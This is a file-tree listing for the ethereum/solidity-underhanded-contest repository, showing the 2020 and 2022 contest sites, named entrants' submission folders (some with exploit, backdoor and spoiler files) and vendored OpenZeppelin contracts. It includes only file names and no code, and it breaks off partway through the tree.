Showing preview only (5,119K chars total). Download the full file or copy to clipboard to get everything.
Repository: ethereum/solidity-underhanded-contest
Branch: master
Commit: b64fec7a83c0
Files: 1111
Total size: 4.6 MB
Directory structure:
gitextract_e74y2gv2/
├── .github/
│ └── workflows/
│ └── deploy-static.yml
├── .gitignore
├── 2020/
│ ├── CNAME
│ ├── LICENSE.txt
│ ├── README.md
│ ├── assets/
│ │ ├── css/
│ │ │ ├── main.css
│ │ │ └── noscript.css
│ │ ├── js/
│ │ │ ├── main.js
│ │ │ └── util.js
│ │ └── sass/
│ │ ├── base/
│ │ │ ├── _page.scss
│ │ │ ├── _reset.scss
│ │ │ └── _typography.scss
│ │ ├── components/
│ │ │ ├── _actions.scss
│ │ │ ├── _box.scss
│ │ │ ├── _button.scss
│ │ │ ├── _contact.scss
│ │ │ ├── _features.scss
│ │ │ ├── _form.scss
│ │ │ ├── _icon.scss
│ │ │ ├── _icons.scss
│ │ │ ├── _image.scss
│ │ │ ├── _list.scss
│ │ │ ├── _menu.scss
│ │ │ ├── _row.scss
│ │ │ ├── _section.scss
│ │ │ ├── _split.scss
│ │ │ ├── _spotlights.scss
│ │ │ ├── _table.scss
│ │ │ └── _wrapper.scss
│ │ ├── layout/
│ │ │ ├── _footer.scss
│ │ │ ├── _header.scss
│ │ │ ├── _intro.scss
│ │ │ ├── _sidebar.scss
│ │ │ └── _wrapper.scss
│ │ ├── libs/
│ │ │ ├── _breakpoints.scss
│ │ │ ├── _functions.scss
│ │ │ ├── _html-grid.scss
│ │ │ ├── _mixins.scss
│ │ │ ├── _vars.scss
│ │ │ └── _vendor.scss
│ │ ├── main.scss
│ │ └── noscript.scss
│ ├── index.html
│ └── submissions_2020/
│ ├── submission10_MartinHolstSwende/
│ │ ├── README.md
│ │ └── test.sol
│ ├── submission11_RobertMCForster/
│ │ ├── LICENSE.txt
│ │ ├── README.md
│ │ └── contracts/
│ │ ├── BokkyDateTime.sol
│ │ ├── Ownable.sol
│ │ └── TimelockUpgrade.sol
│ ├── submission12_LeonardoAlt/
│ │ ├── Makefile
│ │ ├── README.md
│ │ ├── lib/
│ │ │ └── ds-test/
│ │ │ ├── LICENSE
│ │ │ ├── Makefile
│ │ │ ├── default.nix
│ │ │ └── src/
│ │ │ └── test.sol
│ │ ├── out/
│ │ │ └── dapp.sol.json
│ │ └── src/
│ │ ├── DNS.sol
│ │ ├── DNSTest.t.sol
│ │ ├── HEVMCheat.sol
│ │ ├── IDNS.sol
│ │ ├── MalDNS.sol
│ │ ├── Upgrade.sol
│ │ └── UpgradedDNS.sol
│ ├── submission13_GregHysen/
│ │ ├── README.md
│ │ └── contracts/
│ │ ├── Exploit.sol
│ │ ├── FunWithSelectors.sol
│ │ ├── Proxy.sol
│ │ └── Test.sol
│ ├── submission14_MariusVanDerWijden/
│ │ ├── ECDSA.sol
│ │ ├── Proxy.sol
│ │ ├── README.md
│ │ └── RelayContract.sol
│ ├── submission15_ChrisWhinfrey/
│ │ ├── .gitignore
│ │ ├── README.md
│ │ ├── contracts/
│ │ │ ├── ERC20.sol
│ │ │ ├── Governance.sol
│ │ │ ├── Proxy.sol
│ │ │ ├── Token.sol
│ │ │ └── spoilers/
│ │ │ └── Backdoor.sol
│ │ ├── hardhat.config.ts
│ │ ├── package.json
│ │ └── test/
│ │ └── spoiler/
│ │ └── exploit.test.ts
│ ├── submission16_VirajMalhotra/
│ │ ├── AddressSet.sol
│ │ ├── ERC20V1.sol
│ │ ├── Malicious.sol
│ │ ├── Ownable.sol
│ │ ├── Proxy.sol
│ │ ├── README.md
│ │ ├── Registry.sol
│ │ └── Upgradable.sol
│ ├── submission1_CoreyDickson/
│ │ ├── Attack.sol
│ │ ├── OwnerRegistry.sol
│ │ ├── README.md
│ │ └── Target.sol
│ ├── submission2_SohamZemse/
│ │ ├── GiveAway_v1.sol
│ │ ├── GiveAway_v2.sol
│ │ ├── Proxiable.sol
│ │ ├── Proxy.sol
│ │ └── README.md
│ ├── submission3_AlexanderWade/
│ │ ├── Dispatcher.sol
│ │ ├── README.md
│ │ ├── erc20/
│ │ │ ├── erc20v1.sol
│ │ │ └── erc20v2.sol
│ │ └── interfaces/
│ │ ├── OptInContract.sol
│ │ └── VersionContract.sol
│ ├── submission4_JaimeIglesias/
│ │ ├── ERC20.sol
│ │ ├── README.md
│ │ └── VerySafuProxyTrustMe.sol
│ ├── submission5_WilliamEntriken/
│ │ ├── README-WITH-SPOILERS.md
│ │ ├── deployment.md
│ │ └── main.sol
│ ├── submission6_GregoryHill/
│ │ ├── README.md
│ │ ├── buidler.config.ts
│ │ ├── contracts/
│ │ │ ├── Accounts.sol
│ │ │ └── Registry.json
│ │ ├── package.json
│ │ ├── test/
│ │ │ └── upgrade.test.ts
│ │ └── tsconfig.json
│ ├── submission7_MarkusWaas/
│ │ ├── GovernanceModule.sol
│ │ ├── Proxy.sol
│ │ ├── README.md
│ │ └── TestERC20.sol
│ ├── submission8_RichardMoore/
│ │ ├── Multisig.sol
│ │ ├── README.md
│ │ ├── Upgradable.sol
│ │ └── deploy.txt
│ └── submission9_LuizSoares/
│ ├── LICENSE
│ ├── README.md
│ └── contracts/
│ ├── Address.sol
│ ├── Context.sol
│ ├── IERC20.sol
│ ├── Ownable.sol
│ ├── PokeToken.sol
│ ├── PokeTokenV2.sol
│ ├── Proxy.sol
│ ├── Superior.sol
│ ├── SuperiorTransparentUpgradableProxy.sol
│ ├── TransparentUpgradeableProxy.sol
│ └── UpgradeableProxy.sol
├── 2022/
│ ├── .gitignore
│ ├── CNAME
│ ├── LICENSE.txt
│ ├── README.md
│ ├── assets/
│ │ ├── css/
│ │ │ ├── main.css
│ │ │ └── noscript.css
│ │ ├── js/
│ │ │ ├── main.js
│ │ │ └── util.js
│ │ └── sass/
│ │ ├── base/
│ │ │ ├── _page.scss
│ │ │ ├── _reset.scss
│ │ │ └── _typography.scss
│ │ ├── components/
│ │ │ ├── _actions.scss
│ │ │ ├── _box.scss
│ │ │ ├── _button.scss
│ │ │ ├── _contact.scss
│ │ │ ├── _features.scss
│ │ │ ├── _form.scss
│ │ │ ├── _icon.scss
│ │ │ ├── _icons.scss
│ │ │ ├── _image.scss
│ │ │ ├── _list.scss
│ │ │ ├── _menu.scss
│ │ │ ├── _row.scss
│ │ │ ├── _section.scss
│ │ │ ├── _split.scss
│ │ │ ├── _spotlights.scss
│ │ │ ├── _table.scss
│ │ │ └── _wrapper.scss
│ │ ├── layout/
│ │ │ ├── _footer.scss
│ │ │ ├── _header.scss
│ │ │ ├── _intro.scss
│ │ │ ├── _sidebar.scss
│ │ │ └── _wrapper.scss
│ │ ├── libs/
│ │ │ ├── _breakpoints.scss
│ │ │ ├── _functions.scss
│ │ │ ├── _html-grid.scss
│ │ │ ├── _mixins.scss
│ │ │ ├── _vars.scss
│ │ │ └── _vendor.scss
│ │ ├── main.scss
│ │ └── noscript.scss
│ ├── index.html
│ └── submissions_2022/
│ ├── submission10_SantiagoPalladino/
│ │ ├── .gitignore
│ │ ├── LICENSE
│ │ ├── README.md
│ │ ├── SPOILER.md
│ │ ├── contracts/
│ │ │ ├── Exchange.sol
│ │ │ └── mocks/
│ │ │ └── MockERC20.sol
│ │ ├── hardhat.config.js
│ │ ├── package.json
│ │ └── test/
│ │ ├── exploit.js
│ │ └── happy.js
│ ├── submission11_DanielVonFange/
│ │ ├── README.md
│ │ ├── SPOILER.md
│ │ ├── lib/
│ │ │ ├── ds-test/
│ │ │ │ ├── .gitignore
│ │ │ │ ├── LICENSE
│ │ │ │ ├── Makefile
│ │ │ │ ├── default.nix
│ │ │ │ ├── demo/
│ │ │ │ │ └── demo.sol
│ │ │ │ └── src/
│ │ │ │ └── test.sol
│ │ │ ├── openzeppelin-contracts/
│ │ │ │ ├── .codecov.yml
│ │ │ │ ├── .editorconfig
│ │ │ │ ├── .eslintrc
│ │ │ │ ├── .gitattributes
│ │ │ │ ├── .gitignore
│ │ │ │ ├── .mocharc.js
│ │ │ │ ├── .prettierrc
│ │ │ │ ├── .solcover.js
│ │ │ │ ├── .solhint.json
│ │ │ │ ├── CHANGELOG.md
│ │ │ │ ├── CODE_OF_CONDUCT.md
│ │ │ │ ├── CONTRIBUTING.md
│ │ │ │ ├── DOCUMENTATION.md
│ │ │ │ ├── GUIDELINES.md
│ │ │ │ ├── LICENSE
│ │ │ │ ├── README.md
│ │ │ │ ├── RELEASING.md
│ │ │ │ ├── SECURITY.md
│ │ │ │ ├── contracts/
│ │ │ │ │ ├── access/
│ │ │ │ │ │ ├── AccessControl.sol
│ │ │ │ │ │ ├── AccessControlEnumerable.sol
│ │ │ │ │ │ ├── IAccessControl.sol
│ │ │ │ │ │ ├── IAccessControlEnumerable.sol
│ │ │ │ │ │ ├── Ownable.sol
│ │ │ │ │ │ └── README.adoc
│ │ │ │ │ ├── finance/
│ │ │ │ │ │ ├── PaymentSplitter.sol
│ │ │ │ │ │ ├── README.adoc
│ │ │ │ │ │ └── VestingWallet.sol
│ │ │ │ │ ├── governance/
│ │ │ │ │ │ ├── Governor.sol
│ │ │ │ │ │ ├── IGovernor.sol
│ │ │ │ │ │ ├── README.adoc
│ │ │ │ │ │ ├── TimelockController.sol
│ │ │ │ │ │ ├── compatibility/
│ │ │ │ │ │ │ ├── GovernorCompatibilityBravo.sol
│ │ │ │ │ │ │ └── IGovernorCompatibilityBravo.sol
│ │ │ │ │ │ └── extensions/
│ │ │ │ │ │ ├── GovernorCountingSimple.sol
│ │ │ │ │ │ ├── GovernorProposalThreshold.sol
│ │ │ │ │ │ ├── GovernorSettings.sol
│ │ │ │ │ │ ├── GovernorTimelockCompound.sol
│ │ │ │ │ │ ├── GovernorTimelockControl.sol
│ │ │ │ │ │ ├── GovernorVotes.sol
│ │ │ │ │ │ ├── GovernorVotesComp.sol
│ │ │ │ │ │ ├── GovernorVotesQuorumFraction.sol
│ │ │ │ │ │ └── IGovernorTimelock.sol
│ │ │ │ │ ├── interfaces/
│ │ │ │ │ │ ├── IERC1155.sol
│ │ │ │ │ │ ├── IERC1155MetadataURI.sol
│ │ │ │ │ │ ├── IERC1155Receiver.sol
│ │ │ │ │ │ ├── IERC1271.sol
│ │ │ │ │ │ ├── IERC1363.sol
│ │ │ │ │ │ ├── IERC1363Receiver.sol
│ │ │ │ │ │ ├── IERC1363Spender.sol
│ │ │ │ │ │ ├── IERC165.sol
│ │ │ │ │ │ ├── IERC1820Implementer.sol
│ │ │ │ │ │ ├── IERC1820Registry.sol
│ │ │ │ │ │ ├── IERC20.sol
│ │ │ │ │ │ ├── IERC20Metadata.sol
│ │ │ │ │ │ ├── IERC2981.sol
│ │ │ │ │ │ ├── IERC3156.sol
│ │ │ │ │ │ ├── IERC3156FlashBorrower.sol
│ │ │ │ │ │ ├── IERC3156FlashLender.sol
│ │ │ │ │ │ ├── IERC721.sol
│ │ │ │ │ │ ├── IERC721Enumerable.sol
│ │ │ │ │ │ ├── IERC721Metadata.sol
│ │ │ │ │ │ ├── IERC721Receiver.sol
│ │ │ │ │ │ ├── IERC777.sol
│ │ │ │ │ │ ├── IERC777Recipient.sol
│ │ │ │ │ │ ├── IERC777Sender.sol
│ │ │ │ │ │ ├── README.adoc
│ │ │ │ │ │ └── draft-IERC2612.sol
│ │ │ │ │ ├── metatx/
│ │ │ │ │ │ ├── ERC2771Context.sol
│ │ │ │ │ │ ├── MinimalForwarder.sol
│ │ │ │ │ │ └── README.adoc
│ │ │ │ │ ├── mocks/
│ │ │ │ │ │ ├── AccessControlEnumerableMock.sol
│ │ │ │ │ │ ├── AccessControlMock.sol
│ │ │ │ │ │ ├── AddressImpl.sol
│ │ │ │ │ │ ├── ArraysImpl.sol
│ │ │ │ │ │ ├── BadBeacon.sol
│ │ │ │ │ │ ├── BitmapMock.sol
│ │ │ │ │ │ ├── CallReceiverMock.sol
│ │ │ │ │ │ ├── ClashingImplementation.sol
│ │ │ │ │ │ ├── ClonesMock.sol
│ │ │ │ │ │ ├── ConditionalEscrowMock.sol
│ │ │ │ │ │ ├── ContextMock.sol
│ │ │ │ │ │ ├── CountersImpl.sol
│ │ │ │ │ │ ├── Create2Impl.sol
│ │ │ │ │ │ ├── DummyImplementation.sol
│ │ │ │ │ │ ├── ECDSAMock.sol
│ │ │ │ │ │ ├── EIP712External.sol
│ │ │ │ │ │ ├── ERC1155BurnableMock.sol
│ │ │ │ │ │ ├── ERC1155Mock.sol
│ │ │ │ │ │ ├── ERC1155PausableMock.sol
│ │ │ │ │ │ ├── ERC1155ReceiverMock.sol
│ │ │ │ │ │ ├── ERC1155SupplyMock.sol
│ │ │ │ │ │ ├── ERC1271WalletMock.sol
│ │ │ │ │ │ ├── ERC165/
│ │ │ │ │ │ │ ├── ERC165InterfacesSupported.sol
│ │ │ │ │ │ │ ├── ERC165MissingData.sol
│ │ │ │ │ │ │ └── ERC165NotSupported.sol
│ │ │ │ │ │ ├── ERC165CheckerMock.sol
│ │ │ │ │ │ ├── ERC165Mock.sol
│ │ │ │ │ │ ├── ERC165StorageMock.sol
│ │ │ │ │ │ ├── ERC1820ImplementerMock.sol
│ │ │ │ │ │ ├── ERC20BurnableMock.sol
│ │ │ │ │ │ ├── ERC20CappedMock.sol
│ │ │ │ │ │ ├── ERC20DecimalsMock.sol
│ │ │ │ │ │ ├── ERC20FlashMintMock.sol
│ │ │ │ │ │ ├── ERC20Mock.sol
│ │ │ │ │ │ ├── ERC20PausableMock.sol
│ │ │ │ │ │ ├── ERC20PermitMock.sol
│ │ │ │ │ │ ├── ERC20SnapshotMock.sol
│ │ │ │ │ │ ├── ERC20VotesCompMock.sol
│ │ │ │ │ │ ├── ERC20VotesMock.sol
│ │ │ │ │ │ ├── ERC20WrapperMock.sol
│ │ │ │ │ │ ├── ERC2771ContextMock.sol
│ │ │ │ │ │ ├── ERC3156FlashBorrowerMock.sol
│ │ │ │ │ │ ├── ERC721BurnableMock.sol
│ │ │ │ │ │ ├── ERC721EnumerableMock.sol
│ │ │ │ │ │ ├── ERC721Mock.sol
│ │ │ │ │ │ ├── ERC721PausableMock.sol
│ │ │ │ │ │ ├── ERC721ReceiverMock.sol
│ │ │ │ │ │ ├── ERC721URIStorageMock.sol
│ │ │ │ │ │ ├── ERC777Mock.sol
│ │ │ │ │ │ ├── ERC777SenderRecipientMock.sol
│ │ │ │ │ │ ├── EnumerableMapMock.sol
│ │ │ │ │ │ ├── EnumerableSetMock.sol
│ │ │ │ │ │ ├── EtherReceiverMock.sol
│ │ │ │ │ │ ├── GovernorCompMock.sol
│ │ │ │ │ │ ├── GovernorCompatibilityBravoMock.sol
│ │ │ │ │ │ ├── GovernorMock.sol
│ │ │ │ │ │ ├── GovernorTimelockCompoundMock.sol
│ │ │ │ │ │ ├── GovernorTimelockControlMock.sol
│ │ │ │ │ │ ├── InitializableMock.sol
│ │ │ │ │ │ ├── MathMock.sol
│ │ │ │ │ │ ├── MerkleProofWrapper.sol
│ │ │ │ │ │ ├── MulticallTest.sol
│ │ │ │ │ │ ├── MulticallTokenMock.sol
│ │ │ │ │ │ ├── MultipleInheritanceInitializableMocks.sol
│ │ │ │ │ │ ├── OwnableMock.sol
│ │ │ │ │ │ ├── PausableMock.sol
│ │ │ │ │ │ ├── PullPaymentMock.sol
│ │ │ │ │ │ ├── ReentrancyAttack.sol
│ │ │ │ │ │ ├── ReentrancyMock.sol
│ │ │ │ │ │ ├── RegressionImplementation.sol
│ │ │ │ │ │ ├── SafeCastMock.sol
│ │ │ │ │ │ ├── SafeERC20Helper.sol
│ │ │ │ │ │ ├── SafeMathMock.sol
│ │ │ │ │ │ ├── SignatureCheckerMock.sol
│ │ │ │ │ │ ├── SignedSafeMathMock.sol
│ │ │ │ │ │ ├── SingleInheritanceInitializableMocks.sol
│ │ │ │ │ │ ├── StorageSlotMock.sol
│ │ │ │ │ │ ├── StringsMock.sol
│ │ │ │ │ │ ├── TimersBlockNumberImpl.sol
│ │ │ │ │ │ ├── TimersTimestampImpl.sol
│ │ │ │ │ │ ├── UUPS/
│ │ │ │ │ │ │ └── TestInProd.sol
│ │ │ │ │ │ ├── compound/
│ │ │ │ │ │ │ └── CompTimelock.sol
│ │ │ │ │ │ └── wizard/
│ │ │ │ │ │ ├── MyGovernor1.sol
│ │ │ │ │ │ ├── MyGovernor2.sol
│ │ │ │ │ │ └── MyGovernor3.sol
│ │ │ │ │ ├── package.json
│ │ │ │ │ ├── proxy/
│ │ │ │ │ │ ├── Clones.sol
│ │ │ │ │ │ ├── ERC1967/
│ │ │ │ │ │ │ ├── ERC1967Proxy.sol
│ │ │ │ │ │ │ └── ERC1967Upgrade.sol
│ │ │ │ │ │ ├── Proxy.sol
│ │ │ │ │ │ ├── README.adoc
│ │ │ │ │ │ ├── beacon/
│ │ │ │ │ │ │ ├── BeaconProxy.sol
│ │ │ │ │ │ │ ├── IBeacon.sol
│ │ │ │ │ │ │ └── UpgradeableBeacon.sol
│ │ │ │ │ │ ├── transparent/
│ │ │ │ │ │ │ ├── ProxyAdmin.sol
│ │ │ │ │ │ │ └── TransparentUpgradeableProxy.sol
│ │ │ │ │ │ └── utils/
│ │ │ │ │ │ ├── Initializable.sol
│ │ │ │ │ │ └── UUPSUpgradeable.sol
│ │ │ │ │ ├── security/
│ │ │ │ │ │ ├── Pausable.sol
│ │ │ │ │ │ ├── PullPayment.sol
│ │ │ │ │ │ ├── README.adoc
│ │ │ │ │ │ └── ReentrancyGuard.sol
│ │ │ │ │ ├── token/
│ │ │ │ │ │ ├── ERC1155/
│ │ │ │ │ │ │ ├── ERC1155.sol
│ │ │ │ │ │ │ ├── IERC1155.sol
│ │ │ │ │ │ │ ├── IERC1155Receiver.sol
│ │ │ │ │ │ │ ├── README.adoc
│ │ │ │ │ │ │ ├── extensions/
│ │ │ │ │ │ │ │ ├── ERC1155Burnable.sol
│ │ │ │ │ │ │ │ ├── ERC1155Pausable.sol
│ │ │ │ │ │ │ │ ├── ERC1155Supply.sol
│ │ │ │ │ │ │ │ └── IERC1155MetadataURI.sol
│ │ │ │ │ │ │ ├── presets/
│ │ │ │ │ │ │ │ └── ERC1155PresetMinterPauser.sol
│ │ │ │ │ │ │ └── utils/
│ │ │ │ │ │ │ ├── ERC1155Holder.sol
│ │ │ │ │ │ │ └── ERC1155Receiver.sol
│ │ │ │ │ │ ├── ERC20/
│ │ │ │ │ │ │ ├── ERC20.sol
│ │ │ │ │ │ │ ├── IERC20.sol
│ │ │ │ │ │ │ ├── README.adoc
│ │ │ │ │ │ │ ├── extensions/
│ │ │ │ │ │ │ │ ├── ERC20Burnable.sol
│ │ │ │ │ │ │ │ ├── ERC20Capped.sol
│ │ │ │ │ │ │ │ ├── ERC20FlashMint.sol
│ │ │ │ │ │ │ │ ├── ERC20Pausable.sol
│ │ │ │ │ │ │ │ ├── ERC20Snapshot.sol
│ │ │ │ │ │ │ │ ├── ERC20Votes.sol
│ │ │ │ │ │ │ │ ├── ERC20VotesComp.sol
│ │ │ │ │ │ │ │ ├── ERC20Wrapper.sol
│ │ │ │ │ │ │ │ ├── IERC20Metadata.sol
│ │ │ │ │ │ │ │ ├── draft-ERC20Permit.sol
│ │ │ │ │ │ │ │ └── draft-IERC20Permit.sol
│ │ │ │ │ │ │ ├── presets/
│ │ │ │ │ │ │ │ ├── ERC20PresetFixedSupply.sol
│ │ │ │ │ │ │ │ └── ERC20PresetMinterPauser.sol
│ │ │ │ │ │ │ └── utils/
│ │ │ │ │ │ │ ├── SafeERC20.sol
│ │ │ │ │ │ │ └── TokenTimelock.sol
│ │ │ │ │ │ ├── ERC721/
│ │ │ │ │ │ │ ├── ERC721.sol
│ │ │ │ │ │ │ ├── IERC721.sol
│ │ │ │ │ │ │ ├── IERC721Receiver.sol
│ │ │ │ │ │ │ ├── README.adoc
│ │ │ │ │ │ │ ├── extensions/
│ │ │ │ │ │ │ │ ├── ERC721Burnable.sol
│ │ │ │ │ │ │ │ ├── ERC721Enumerable.sol
│ │ │ │ │ │ │ │ ├── ERC721Pausable.sol
│ │ │ │ │ │ │ │ ├── ERC721URIStorage.sol
│ │ │ │ │ │ │ │ ├── IERC721Enumerable.sol
│ │ │ │ │ │ │ │ └── IERC721Metadata.sol
│ │ │ │ │ │ │ ├── presets/
│ │ │ │ │ │ │ │ └── ERC721PresetMinterPauserAutoId.sol
│ │ │ │ │ │ │ └── utils/
│ │ │ │ │ │ │ └── ERC721Holder.sol
│ │ │ │ │ │ └── ERC777/
│ │ │ │ │ │ ├── ERC777.sol
│ │ │ │ │ │ ├── IERC777.sol
│ │ │ │ │ │ ├── IERC777Recipient.sol
│ │ │ │ │ │ ├── IERC777Sender.sol
│ │ │ │ │ │ ├── README.adoc
│ │ │ │ │ │ └── presets/
│ │ │ │ │ │ └── ERC777PresetFixedSupply.sol
│ │ │ │ │ └── utils/
│ │ │ │ │ ├── Address.sol
│ │ │ │ │ ├── Arrays.sol
│ │ │ │ │ ├── Context.sol
│ │ │ │ │ ├── Counters.sol
│ │ │ │ │ ├── Create2.sol
│ │ │ │ │ ├── Multicall.sol
│ │ │ │ │ ├── README.adoc
│ │ │ │ │ ├── StorageSlot.sol
│ │ │ │ │ ├── Strings.sol
│ │ │ │ │ ├── Timers.sol
│ │ │ │ │ ├── cryptography/
│ │ │ │ │ │ ├── ECDSA.sol
│ │ │ │ │ │ ├── MerkleProof.sol
│ │ │ │ │ │ ├── SignatureChecker.sol
│ │ │ │ │ │ └── draft-EIP712.sol
│ │ │ │ │ ├── escrow/
│ │ │ │ │ │ ├── ConditionalEscrow.sol
│ │ │ │ │ │ ├── Escrow.sol
│ │ │ │ │ │ └── RefundEscrow.sol
│ │ │ │ │ ├── introspection/
│ │ │ │ │ │ ├── ERC165.sol
│ │ │ │ │ │ ├── ERC165Checker.sol
│ │ │ │ │ │ ├── ERC165Storage.sol
│ │ │ │ │ │ ├── ERC1820Implementer.sol
│ │ │ │ │ │ ├── IERC165.sol
│ │ │ │ │ │ ├── IERC1820Implementer.sol
│ │ │ │ │ │ └── IERC1820Registry.sol
│ │ │ │ │ ├── math/
│ │ │ │ │ │ ├── Math.sol
│ │ │ │ │ │ ├── SafeCast.sol
│ │ │ │ │ │ ├── SafeMath.sol
│ │ │ │ │ │ └── SignedSafeMath.sol
│ │ │ │ │ └── structs/
│ │ │ │ │ ├── BitMaps.sol
│ │ │ │ │ ├── EnumerableMap.sol
│ │ │ │ │ └── EnumerableSet.sol
│ │ │ │ ├── hardhat/
│ │ │ │ │ └── env-contract.js
│ │ │ │ ├── hardhat.config.js
│ │ │ │ ├── migrations/
│ │ │ │ │ └── .gitkeep
│ │ │ │ ├── netlify.toml
│ │ │ │ ├── package.json
│ │ │ │ └── renovate.json
│ │ │ └── openzeppelin-contracts-upgradeable/
│ │ │ ├── .codecov.yml
│ │ │ ├── .editorconfig
│ │ │ ├── .eslintrc
│ │ │ ├── .gitattributes
│ │ │ ├── .gitignore
│ │ │ ├── .mocharc.js
│ │ │ ├── .prettierrc
│ │ │ ├── .solcover.js
│ │ │ ├── .solhint.json
│ │ │ ├── CHANGELOG.md
│ │ │ ├── CODE_OF_CONDUCT.md
│ │ │ ├── CONTRIBUTING.md
│ │ │ ├── DOCUMENTATION.md
│ │ │ ├── GUIDELINES.md
│ │ │ ├── LICENSE
│ │ │ ├── README.md
│ │ │ ├── RELEASING.md
│ │ │ ├── SECURITY.md
│ │ │ ├── UPGRADEABLE.md
│ │ │ ├── contracts/
│ │ │ │ ├── access/
│ │ │ │ │ ├── AccessControlEnumerableUpgradeable.sol
│ │ │ │ │ ├── AccessControlUpgradeable.sol
│ │ │ │ │ ├── IAccessControlEnumerableUpgradeable.sol
│ │ │ │ │ ├── IAccessControlUpgradeable.sol
│ │ │ │ │ ├── OwnableUpgradeable.sol
│ │ │ │ │ └── README.adoc
│ │ │ │ ├── finance/
│ │ │ │ │ ├── PaymentSplitterUpgradeable.sol
│ │ │ │ │ ├── README.adoc
│ │ │ │ │ └── VestingWalletUpgradeable.sol
│ │ │ │ ├── governance/
│ │ │ │ │ ├── GovernorUpgradeable.sol
│ │ │ │ │ ├── IGovernorUpgradeable.sol
│ │ │ │ │ ├── README.adoc
│ │ │ │ │ ├── TimelockControllerUpgradeable.sol
│ │ │ │ │ ├── compatibility/
│ │ │ │ │ │ ├── GovernorCompatibilityBravoUpgradeable.sol
│ │ │ │ │ │ └── IGovernorCompatibilityBravoUpgradeable.sol
│ │ │ │ │ └── extensions/
│ │ │ │ │ ├── GovernorCountingSimpleUpgradeable.sol
│ │ │ │ │ ├── GovernorProposalThresholdUpgradeable.sol
│ │ │ │ │ ├── GovernorSettingsUpgradeable.sol
│ │ │ │ │ ├── GovernorTimelockCompoundUpgradeable.sol
│ │ │ │ │ ├── GovernorTimelockControlUpgradeable.sol
│ │ │ │ │ ├── GovernorVotesCompUpgradeable.sol
│ │ │ │ │ ├── GovernorVotesQuorumFractionUpgradeable.sol
│ │ │ │ │ ├── GovernorVotesUpgradeable.sol
│ │ │ │ │ └── IGovernorTimelockUpgradeable.sol
│ │ │ │ ├── interfaces/
│ │ │ │ │ ├── IERC1155MetadataURIUpgradeable.sol
│ │ │ │ │ ├── IERC1155ReceiverUpgradeable.sol
│ │ │ │ │ ├── IERC1155Upgradeable.sol
│ │ │ │ │ ├── IERC1271Upgradeable.sol
│ │ │ │ │ ├── IERC1363ReceiverUpgradeable.sol
│ │ │ │ │ ├── IERC1363SpenderUpgradeable.sol
│ │ │ │ │ ├── IERC1363Upgradeable.sol
│ │ │ │ │ ├── IERC165Upgradeable.sol
│ │ │ │ │ ├── IERC1820ImplementerUpgradeable.sol
│ │ │ │ │ ├── IERC1820RegistryUpgradeable.sol
│ │ │ │ │ ├── IERC20MetadataUpgradeable.sol
│ │ │ │ │ ├── IERC20Upgradeable.sol
│ │ │ │ │ ├── IERC2981Upgradeable.sol
│ │ │ │ │ ├── IERC3156FlashBorrowerUpgradeable.sol
│ │ │ │ │ ├── IERC3156FlashLenderUpgradeable.sol
│ │ │ │ │ ├── IERC3156Upgradeable.sol
│ │ │ │ │ ├── IERC721EnumerableUpgradeable.sol
│ │ │ │ │ ├── IERC721MetadataUpgradeable.sol
│ │ │ │ │ ├── IERC721ReceiverUpgradeable.sol
│ │ │ │ │ ├── IERC721Upgradeable.sol
│ │ │ │ │ ├── IERC777RecipientUpgradeable.sol
│ │ │ │ │ ├── IERC777SenderUpgradeable.sol
│ │ │ │ │ ├── IERC777Upgradeable.sol
│ │ │ │ │ ├── README.adoc
│ │ │ │ │ └── draft-IERC2612Upgradeable.sol
│ │ │ │ ├── metatx/
│ │ │ │ │ ├── ERC2771ContextUpgradeable.sol
│ │ │ │ │ ├── MinimalForwarderUpgradeable.sol
│ │ │ │ │ └── README.adoc
│ │ │ │ ├── mocks/
│ │ │ │ │ ├── AccessControlEnumerableMockUpgradeable.sol
│ │ │ │ │ ├── AccessControlMockUpgradeable.sol
│ │ │ │ │ ├── AddressImplUpgradeable.sol
│ │ │ │ │ ├── ArraysImplUpgradeable.sol
│ │ │ │ │ ├── BadBeaconUpgradeable.sol
│ │ │ │ │ ├── BitmapMockUpgradeable.sol
│ │ │ │ │ ├── CallReceiverMockUpgradeable.sol
│ │ │ │ │ ├── ClashingImplementationUpgradeable.sol
│ │ │ │ │ ├── ClonesMockUpgradeable.sol
│ │ │ │ │ ├── ConditionalEscrowMockUpgradeable.sol
│ │ │ │ │ ├── ContextMockUpgradeable.sol
│ │ │ │ │ ├── CountersImplUpgradeable.sol
│ │ │ │ │ ├── Create2ImplUpgradeable.sol
│ │ │ │ │ ├── DummyImplementationUpgradeable.sol
│ │ │ │ │ ├── ECDSAMockUpgradeable.sol
│ │ │ │ │ ├── EIP712ExternalUpgradeable.sol
│ │ │ │ │ ├── ERC1155BurnableMockUpgradeable.sol
│ │ │ │ │ ├── ERC1155MockUpgradeable.sol
│ │ │ │ │ ├── ERC1155PausableMockUpgradeable.sol
│ │ │ │ │ ├── ERC1155ReceiverMockUpgradeable.sol
│ │ │ │ │ ├── ERC1155SupplyMockUpgradeable.sol
│ │ │ │ │ ├── ERC1271WalletMockUpgradeable.sol
│ │ │ │ │ ├── ERC165/
│ │ │ │ │ │ ├── ERC165InterfacesSupportedUpgradeable.sol
│ │ │ │ │ │ ├── ERC165MissingDataUpgradeable.sol
│ │ │ │ │ │ └── ERC165NotSupportedUpgradeable.sol
│ │ │ │ │ ├── ERC165CheckerMockUpgradeable.sol
│ │ │ │ │ ├── ERC165MockUpgradeable.sol
│ │ │ │ │ ├── ERC165StorageMockUpgradeable.sol
│ │ │ │ │ ├── ERC1820ImplementerMockUpgradeable.sol
│ │ │ │ │ ├── ERC20BurnableMockUpgradeable.sol
│ │ │ │ │ ├── ERC20CappedMockUpgradeable.sol
│ │ │ │ │ ├── ERC20DecimalsMockUpgradeable.sol
│ │ │ │ │ ├── ERC20FlashMintMockUpgradeable.sol
│ │ │ │ │ ├── ERC20MockUpgradeable.sol
│ │ │ │ │ ├── ERC20PausableMockUpgradeable.sol
│ │ │ │ │ ├── ERC20PermitMockUpgradeable.sol
│ │ │ │ │ ├── ERC20SnapshotMockUpgradeable.sol
│ │ │ │ │ ├── ERC20VotesCompMockUpgradeable.sol
│ │ │ │ │ ├── ERC20VotesMockUpgradeable.sol
│ │ │ │ │ ├── ERC20WrapperMockUpgradeable.sol
│ │ │ │ │ ├── ERC2771ContextMockUpgradeable.sol
│ │ │ │ │ ├── ERC3156FlashBorrowerMockUpgradeable.sol
│ │ │ │ │ ├── ERC721BurnableMockUpgradeable.sol
│ │ │ │ │ ├── ERC721EnumerableMockUpgradeable.sol
│ │ │ │ │ ├── ERC721MockUpgradeable.sol
│ │ │ │ │ ├── ERC721PausableMockUpgradeable.sol
